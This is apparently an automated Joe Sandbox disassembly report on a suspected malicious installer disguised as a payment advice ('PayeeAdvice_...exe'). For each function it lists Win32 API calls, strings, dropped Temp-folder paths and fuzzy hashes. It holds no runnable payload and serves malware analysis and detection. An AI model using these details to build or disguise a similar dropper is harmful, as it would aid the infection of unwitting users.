Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CreateInstance
String ID: C:\Users\user\AppData\Local\foreslaaende
API String ID: 542301482-1954961325
Opcode ID: a0bb92f52aa57a686fb7670324366c30062890f5d7bc8498ec9199db5fdfdb62
Instruction ID: b9114a0b4d3c9f05545c6126c0c632b8b73b1fcf7d0bd01aa9b6132af3d7cd36
Opcode Fuzzy Hash: a0bb92f52aa57a686fb7670324366c30062890f5d7bc8498ec9199db5fdfdb62
Instruction Fuzzy Hash: 4B414F75A00105BFCB00DFA4C988EAE7BB5AF49318B20416AF505EF2D1D679AD41CB55

Function 00402770 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 0040277F

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: d555c6e09dbf6ad66d53053e92e2a3446f724d402b29968be0a2f1aefd2bf89d
Instruction ID: c3eebe46d33317c4d9c4db9deeb30b83dd141210d4acf70d00b973005abdca29
Opcode Fuzzy Hash: d555c6e09dbf6ad66d53053e92e2a3446f724d402b29968be0a2f1aefd2bf89d
Instruction Fuzzy Hash: 81F05EB1614114DBDB00DBA4DD499AEB378FF14318F20097AE141F31D0D6B45940DB2A

Function 004042CC Relevance: 42.2, APIs: 20, Strings: 4, Instructions: 207windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 0040436A
GetDlgItem.USER32(?,000003E8), ref: 0040437E
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 0040439B
GetSysColor.USER32(?), ref: 004043AC
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004043BA
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004043C8
lstrlenW.KERNEL32(?), ref: 004043CD
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004043DA
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004043EF
GetDlgItem.USER32(?,0000040A), ref: 00404448
SendMessageW.USER32(00000000), ref: 0040444F
GetDlgItem.USER32(?,000003E8), ref: 0040447A
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 004044BD
LoadCursorW.USER32(00000000,00007F02), ref: 004044CB
SetCursor.USER32(00000000), ref: 004044CE
ShellExecuteW.SHELL32(0000070B,open,00427180,00000000,00000000,00000001), ref: 004044E3
LoadCursorW.USER32(00000000,00007F00), ref: 004044EF
SetCursor.USER32(00000000), ref: 004044F2
SendMessageW.USER32(00000111,00000001,00000000), ref: 00404521
SendMessageW.USER32(00000010,00000000,00000000), ref: 00404533

Strings

N, xrefs: 00404468
CB@, xrefs: 004044D8
Call, xrefs: 004044A9
open, xrefs: 004044DB

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorExecuteShelllstrlen
String ID: CB@$Call$N$open
API String ID: 3615053054-4184941720
Opcode ID: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction ID: ed67d3ceb40554f4a20f9fe4cecdec295417cbe43b6f72f0b7bb3cee00e3d4b7
Opcode Fuzzy Hash: 2203d86e9aedfb02f953f7f44e7e92c7d68489696ba88c708ebc1c14ae09885d
Instruction Fuzzy Hash: 037173B1A00209BFDB109F64DD45A6A7B69FB84315F00813AF705BA2D0C778AD51DF99

Function 00405C08 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 136stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpyW.KERNEL32(00425D70,NUL,?,00000000,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C18
CloseHandle.KERNEL32(00000000,00000000,00000000,00000001,?,?,?,00405DAC,?,?,00000001,00405924,?,00000000,000000F1,?), ref: 00405C3C
GetShortPathNameW.KERNEL32(00000000,00425D70,00000400), ref: 00405C45

Part of subcall function 00405ABB: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405ACB
Part of subcall function 00405ABB: lstrlenA.KERNEL32(00405CF5,?,00000000,00405CF5,00000000,[Rename],00000000,00000000,00000000), ref: 00405AFD

GetShortPathNameW.KERNEL32(?,00426570,00000400), ref: 00405C62
wsprintfA.USER32 ref: 00405C80
GetFileSize.KERNEL32(00000000,00000000,00426570,C0000000,00000004,00426570,?,?,?,?,?), ref: 00405CBB
GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00405CCA
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000), ref: 00405D02
SetFilePointer.KERNEL32(?,00000000,00000000,00000000,00000000,00425970,00000000,-0000000A,00409544,00000000,[Rename],00000000,00000000,00000000), ref: 00405D58
WriteFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00405D6A
GlobalFree.KERNEL32(00000000), ref: 00405D71
CloseHandle.KERNEL32(00000000), ref: 00405D78

Part of subcall function 00405B56: GetFileAttributesW.KERNELBASE(00000003,00402DFF,C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe,80000000,00000003), ref: 00405B5A
Part of subcall function 00405B56: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405B7C

Strings

%ls=%ls, xrefs: 00405C76
peB, xrefs: 00405C57
[Rename], xrefs: 00405CEA, 00405CFC
NUL, xrefs: 00405C12
p]B, xrefs: 00405C0D

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrcpylstrlen$AllocAttributesCreateFreePointerSizeWritewsprintf
String ID: %ls=%ls$NUL$[Rename]$p]B$peB
API String ID: 1265525490-3322868524
Opcode ID: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction ID: dd28b8746f6bac9015e409c36d2f5baf321d2fce784c03eddf9b1c2e257c4ca8
Opcode Fuzzy Hash: 3c7f54d89e258796605fea9f6ef32f5c4e34e08a6eb3a6df642de3325c5bcbec
Instruction Fuzzy Hash: 9741E271604B19BBD2216B715C4DF6B3B6CEF41754F14453BBA01B62D2EA3CA8018EBD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,004281E0,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction ID: 126a239e0572de30fb8c34ac70cebce50066b6690b2383a097db7944ba687981
Opcode Fuzzy Hash: 0e57b95dfdd8f299c9740ed801e1ea7310e3bc8a8783e459bd01da44e8a50aec
Instruction Fuzzy Hash: DA419A71804249AFCB058FA5DD459BFBFB9FF48310F00802AF951AA1A0C738EA51DFA5

Function 0040617E Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061E1
CharNextW.USER32(?,?,?,00000000), ref: 004061F0
CharNextW.USER32(?,"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 004061F5
CharPrevW.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403332,C:\Users\user\AppData\Local\Temp\,75923420,00403512), ref: 00406208

Strings

"C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe", xrefs: 004061C2
*?|<>/":, xrefs: 004061D0
C:\Users\user\AppData\Local\Temp\, xrefs: 0040617F, 00406184

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\PayeeAdvice_HK54912_R0038704_37504.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-614586876
Opcode ID: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction ID: e0619f79a043cffb4c3b00824a243f33de9385cd0f0c41224b0956f888f04927
Opcode Fuzzy Hash: bf19904cbb26e83114afcd58bf256c97857e1bb2abc1c9c3e805ea3815cda1ed
Instruction Fuzzy Hash: 3511C47680021295EB307B548C40BB762F8EF957A0F56403FE996B72C2E77C5C9282BD

Function 004024EE Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 54filestringCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\nsh2473.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll,00000400,?,?,00000021), ref: 0040252F
lstrlenA.KERNEL32(C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll,?,?,C:\Users\user\AppData\Local\Temp\nsh2473.tmp,000000FF,C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll,00000400,?,?,00000021), ref: 00402536
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 00402568

Strings

C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll, xrefs: 004024FA, 0040251B, 00402525, 00402535, 0040255C
8, xrefs: 0040250C
C:\Users\user\AppData\Local\Temp\nsh2473.tmp, xrefs: 00402528

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: ByteCharFileMultiWideWritelstrlen
String ID: 8$C:\Users\user\AppData\Local\Temp\nsh2473.tmp$C:\Users\user\AppData\Local\Temp\nsh2473.tmp\System.dll
API String ID: 1453599865-3664944449
Opcode ID: ba053f0344776bd3916354cbd0a68f7896d065c86eb027949be49280e87f23d6
Instruction ID: b6741c74acf97665735c623be1ff62c12e58b25bca11cb73faf7774dd427f28f
Opcode Fuzzy Hash: ba053f0344776bd3916354cbd0a68f7896d065c86eb027949be49280e87f23d6
Instruction Fuzzy Hash: A5019671A44204FBD700AFA0DE49EAF7278AB50319F20053BF102B61D2D7BC5D41DA2D

Function 00404196 Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004041B3
GetSysColor.USER32(00000000), ref: 004041CF
SetTextColor.GDI32(?,00000000), ref: 004041DB
SetBkMode.GDI32(?,?), ref: 004041E7
GetSysColor.USER32(?), ref: 004041FA
SetBkColor.GDI32(?,?), ref: 0040420A
DeleteObject.GDI32(?), ref: 00404224
CreateBrushIndirect.GDI32(?), ref: 0040422E

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction ID: 80eb99ce468fafd782bf4c41e5e54efb1aa93a8fb2f83beca87368335cd0d861
Opcode Fuzzy Hash: b90be86f4b41523f1c687d93ae3cdfe665fb5c0f546787b0b5a2f8f889851cd4
Instruction Fuzzy Hash: B221C6B1904744ABCB219F68DD08B4B7BF8AF40710F04896DF951F26E1C738E944CB65

Function 00402573 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 142fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 004025DB
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 00402616
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402639
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040264F

Part of subcall function 00405BD9: ReadFile.KERNELBASE(00409230,00000000,00000000,00000000,00000000,00413E78,0040BE78,0040330C,00409230,00409230,004031FE,00413E78,00004000,?,00000000,?), ref: 00405BED

Part of subcall function 00405E31: wsprintfW.USER32 ref: 00405E3E

Strings

9, xrefs: 004025BE

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: File$ByteCharMultiReadWide$Pointerwsprintf
String ID: 9
API String ID: 1149667376-2366072709
Opcode ID: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction ID: 2cb5264777941c8734ead6492e5e892e31f06070e548dc8493562ac8cc7c1c9a
Opcode Fuzzy Hash: e497fc0f6c600e964b9f2122c9ab3848d05cefc5a36f71c7b66b32dfb87a2e9e
Instruction Fuzzy Hash: B551E971E04209ABDF24DF94DE88AAEB779FF04304F50443BE501B62D0D7B99A42CB69

Function 004027B5 Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 00402809
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,?,000000F0), ref: 00402825
GlobalFree.KERNEL32(FFFFFD66), ref: 0040285E
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402870
GlobalFree.KERNEL32(00000000), ref: 00402877
CloseHandle.KERNEL32(?,?,?,?,?,?,000000F0), ref: 0040288F
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,?,000000F0), ref: 004028A3

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction ID: c52f99eb37a0f9a93b384f1dc8ea19ce670fa72408cf6cd502fc0ac50d833161
Opcode Fuzzy Hash: 120950de23c25218e4c137f2e62925978e01813800c9cf407bd4cdabe4d04e4e
Instruction Fuzzy Hash: AC31A072C00118BBDF11AFA5CE49DAF7E79EF05364F20423AF510762E1C6796E418BA9

Function 00405194 Relevance: 10.6, APIs: 7, Instructions: 72stringwindowCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction ID: f08454111491fc0d39351af24b8902c1f97f976603b555b028d64c931b302e29
Opcode Fuzzy Hash: 0c094884f043220e68d7ccf46313e42316ed39ffe4743c8b7e21410a54c3b4f2
Instruction Fuzzy Hash: 42219D71900518BACB119FA5DD84ADFBFB8EF44354F54807AF904B62A0C7798A41DFA8

Function 00402D1A Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402D35
GetTickCount.KERNEL32 ref: 00402D53
wsprintfW.USER32 ref: 00402D81

Part of subcall function 00405194: lstrlenW.KERNEL32(004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000,?), ref: 004051CC
Part of subcall function 00405194: lstrlenW.KERNEL32(00402D94,004216B0,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402D94,00000000), ref: 004051DC
Part of subcall function 00405194: lstrcatW.KERNEL32(004216B0,00402D94,00402D94,004216B0,00000000,00000000,00000000), ref: 004051EF
Part of subcall function 00405194: SetWindowTextW.USER32(004216B0,004216B0), ref: 00405201
Part of subcall function 00405194: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405227
Part of subcall function 00405194: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405241
Part of subcall function 00405194: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040524F

CreateDialogParamW.USER32(0000006F,00000000,00402C7F,00000000), ref: 00402DA5
ShowWindow.USER32(00000000,00000005), ref: 00402DB3

Part of subcall function 00402CFE: MulDiv.KERNEL32(00000000,00000064,00001794), ref: 00402D13

Strings

... %d%%, xrefs: 00402D7B

Memory Dump Source

Source File: 00000000.00000002.2664622803.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2664573128.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664665698.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2664772475.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2665086131.0000000000453000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
